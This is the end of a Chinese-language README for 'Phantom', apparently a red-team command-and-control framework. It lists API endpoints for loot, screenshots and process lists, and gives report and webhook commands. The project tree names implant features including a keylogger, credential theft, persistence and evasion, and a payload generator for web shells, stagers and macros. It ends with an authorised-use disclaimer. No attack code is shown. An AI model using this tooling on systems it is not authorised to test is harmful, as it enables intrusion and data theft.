`/api/tunnel/list` | GET | 列出活动隧道 | | `/api/loot` | GET | 浏览所有捕获的战利品 | | `/api/templates` | GET/POST | 命令模板 CRUD | | `/api/autotasks` | GET/POST | 自动任务配置 | | `/api/auditlog` | GET | 操作员审计日志 | | `/api/notes?agent=` | GET/POST | 读取/添加 agent 笔记 | | `/api/search?q=` | GET | 搜索所有任务输出 | | `/api/operators` | GET | 列出在线操作员 | | `/api/filebrowser` | GET | 从 agent 请求目录列表 | | `/api/screenshot` | GET | 从 agent 请求截图 | | `/api/processlist` | GET | 从 agent 请求进程列表 | ### 多操作员支持 多名渗透测试人员可以同时使用同一台服务器: - 每位操作员使用自己的凭证登录 - Agent 笔记显示是哪位操作员添加的 - `/api/operators` 显示当前在线人员 - CLI 和 Web UI 可以同时使用 ## 演练报告 ``` phantom > report md # Markdown report with full activity timeline phantom > report csv # CSV export of all commands and output phantom > report all # Both formats ``` 报告保存到 `reports/` 并带有时间戳。包括: 执行摘要、每个 agent 的时间线、命令输出、基础设施详情。 ## Webhook 通知 ``` phantom > webhook slack https://hooks.slack.com/services/T.../B.../xxx phantom > webhook discord https://discord.com/api/webhooks/xxx/yyy phantom > webhook test ``` 自动通知事件: 新 agent 注册、agent 死亡、监听器事件。 ## 项目结构 ``` phantom/ cmd/ server/ Server entrypoint agent/ Agent entrypoint keygen/ RSA keypair generator e2etest/ End-to-end test runner internal/ server/ Core server, config, webhooks listener/ HTTP/HTTPS/DNS listeners + malleable profiles + SMB pipes agent/ Agent manager + builder task/ Task dispatcher + queues crypto/ RSA-2048, AES-256-GCM, key exchange protocol/ Wire protocol + msgpack serialization db/ SQLite database + repositories cli/ CLI shell (readline), tables, reporting webui/ Web dashboard (embedded HTML/JS) implant/ Agent: shell, file, screenshot, persist, AD, BOF, evasion, token, keylogger, SOCKS, creds, pivot, staging payloads/ Payload generator (web shells, stagers, macros) util/ Shared utilities configs/ Server config + malleable profiles scripts/ Helper scripts docs/ Documentation + screenshots Dockerfile Multi-stage Docker build docker-compose.yml One-line deployment ``` ## 免责声明 **本工具仅设计用于授权的红队演练和安全研究。** 未经授权访问计算机系统是非法的。您有责任确保在使用本工具前已获得适当授权。作者不对滥用行为承担任何责任。 务必: - 在测试前获得书面授权 - 遵守您组织的交战规则 - 记录所有活动 - 负责任地报告发现 ## 作者 **Opeyemi Kolawole** - [GitHub](https://github.com/Phantom-C2-77) | ckkolawole77@gmail.com ## 许可证 BSD 3-Clause License - 详见 [LICENSE](LICENSE)。
标签:Android木马, C2框架, Chrome扩展, DNS 反向解析, ESC8, EVTX分析, GUI管理, Http监听器, iOS渗透, IP 地址批量处理, .NET执行, 二进制利用, 仪表盘, 反向Shell, 后门生成, 命令控制, 嗅探欺骗, 安全学习资源, 攻击模拟, 数据采集, 日志审计, 权限维持, 混淆, 目录枚举, 社会工程学, 移动安全, 网站分析工具, 网络安全, 请求拦截, 载荷生成, 远控木马, 隐匿通信, 隐私保护, 驱动签名利用